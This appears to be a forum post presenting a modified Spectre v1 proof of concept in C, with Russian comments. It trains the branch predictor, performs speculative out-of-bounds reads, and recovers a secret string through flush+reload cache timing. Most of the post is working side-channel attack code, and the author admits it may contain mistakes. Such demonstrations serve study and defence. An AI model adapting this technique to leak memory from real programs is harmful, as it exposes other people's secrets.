Example of Spectre v1 on new CPU
The Specter vulnerability works also on new processors, all protections are aimed at preventing the receipt of data from other programs, but this example will work everywhere, since everything is in one program, I don’t get much into operating systems, but it is possible if the attacking program launches the program inside itself victim, then it will be possible to obtain data from the program of the victim.
Changes: I removed the excess that I considered unnecessary for the program to work, Score. I also redid the predictor training, it seems to me that in the program that was in question, the new processors predicted the cycle and optimized it, I decided to use rand so that such optimization was not possible, I did the same in the section for reading data from the cache. I also removed the
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break;
it was needed to speed up the program, but its second part seemed to me not quite right, in the end I removed it altogether, since the program already works fast enough. Well, I changed the way of setting the input data and the output data options.
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> // работа с кэшем win
#else
#include <x86intrin.h> //работа с кэшем
#endif
const unsigned int Time_To_Cashe = 160;
unsigned int array1_size = 5;
uint8_t trash[5] = { 1, 2, 3, 4, 5};// мусор для тренировок
uint8_t array2[256 * 512];
uint8_t temp;
void victim_function(size_t x) {//а вот и сам спектр
if (x < array1_size) {
temp = array2[trash[x] * 512];
}
}
uint8_t readMemoryByte(int cache_hit_threshold, size_t attack_x) {
int results[256] = {0};
int tries, i, max, sim;
size_t train_x, x;
register uint64_t Start, Time;
volatile uint8_t *rd;
for (tries = 500; tries > 0; tries--) {
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); //удаляем из кэша array2
/* тренирум 3 раза, на 4й атакуем, повторяем 6 раз*/
train_x = tries % array1_size;
for (int j = 31; j >= 0; j--) {
_mm_clflush(&array1_size);
x = ((rand() + 1) * (j % 4)) % 4 - 1;
x = train_x ^ (x & (attack_x ^ train_x));// при i % 4 == 0 атакуем
victim_function(x);
}
for (i = 0; i < 256; i++) {
sim = rand() % 256; // считываем рандомно, чтобы процессор не смог оптимизировать код,
//ничего страшного если чтото мы прочтем несколько раз или не прочтем, из-за большого tries мы в любом случаее прочтем все
rd = & array2[sim * 512];
Start = __rdtscp(rd); // замеряем время доступа
int tmp = *rd; //обновляем addr
Time = __rdtscp(rd) - Start;
if ((int)Time <= cache_hit_threshold && sim != trash[train_x]) // определяем где находятся данные в кэше ил в ОЗУ
results[sim]++; //увеличиваем встречаемость символа
}
max = -1;
for (i = 0; i < 256; i++) {
if (max < 0 || results[i] >= results[max]) {
max = i;
}
}
}
return max;//возвращаем символ с макс частотой
}
inline void print(char c, FILE *out) {
if (out == NULL) {
printf("%c", c);
}
else {
fprintf(out, "%c", c);
}
}
int main(int argc, char **argv) {
int cache_hit_threshold = Time_To_Cashe;
const char* secret = argv[1];
size_t malicious_x = (size_t)(secret - (char * ) trash);
int len = strlen(secret);
FILE* out = NULL;
if (argc == 3) {
out = fopen(argv[2], "w");
}
for (int i = 0; i < (int)sizeof(array2); i++) {
array2[i] = 1; // заполняем 1ми, чтобы в озу не было 0
}
while (--len >= 0) {//считываем попорядку, по 1 букве
int tmp = readMemoryByte(cache_hit_threshold, malicious_x++);
print(tmp, out);
}
if (out != NULL) {
fclose(out);
}
return 0;
}
I can be wrong in a lot of places, so correct me if I lied or made a mistake somewhere.